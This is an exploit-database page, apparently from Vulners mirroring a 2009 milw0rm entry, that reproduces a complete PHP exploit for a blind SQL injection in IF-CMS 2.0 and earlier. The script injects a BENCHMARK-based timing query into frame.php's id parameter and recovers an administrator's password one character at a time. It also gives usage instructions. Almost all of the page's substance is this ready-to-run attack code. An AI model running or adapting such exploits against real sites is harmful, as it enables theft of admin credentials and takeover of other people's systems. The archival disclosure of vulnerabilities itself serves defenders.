Lucene search
K

IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit

🗓️ 09 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

IF-CMS <= 2.0 Blind SQL Injection Exploi

Code

                                                --+++=======================================================+++--
--+++====== IF-CMS &lt;= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--

&lt;?php

function query ($username, $char, $pos)
{
	//Increase benchmark when exploit prints uncorrect passwords

	$query = &quot;x' OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE &quot;.
		 &quot;nick = '{$username}'),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR '1' = '2&quot;;
	$query = str_replace (&quot; &quot;, &quot;%20&quot;, $query);
	$query = str_replace (&quot;'&quot;, &quot;%27&quot;, $query);
	return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
	$char = ord ($char);
	$fp = fsockopen ($hostname, 80);
	$get =  &quot;GET {$path}/frame.php?id=&quot;. query ($username, $char, $pos) . &quot; HTTP/1.1\r\n&quot;.
		&quot;Host: {$hostname}\r\n&quot;.
		&quot;Connection: Close\r\n\r\n&quot;;
		$a = time ();
	fputs ($fp, $get);
	while (!feof ($fp))
		fgets ($fp, 1024);

	fclose ($fp);
	$a = time () - $a;
	if ($a &gt; 4)
		return true;
	else
		return false;

}

function usage ()
{
	echo &quot;\nIF-CMS &lt;= 2.0 Blind SQL Injection Exploit&quot;.
	     &quot;\n[+] Author  : darkjoker&quot;.
	     &quot;\n[+] Site    : http://darkjoker.net23.net&quot;.
	     &quot;\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&amp;big_mirror=0&quot;.
	     &quot;\n[+] Usage   : php xpl.php &lt;hostname&gt; &lt;path&gt; &lt;username&gt;&quot;.
	     &quot;\n[+] Ex.     : php xpl.php localhost /IF-CMS root&quot;.
	     &quot;\n\n&quot;;
	exit ();
}

if ($argc != 4)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = &quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&quot;;
$chr = 0;
$pos = 1;
echo &quot;[+] Password: &quot;;
while ($chr &lt; strlen ($key))
{
	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}
echo &quot;\n\n&quot;;
?&gt;

# milw0rm.com [2009-02-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation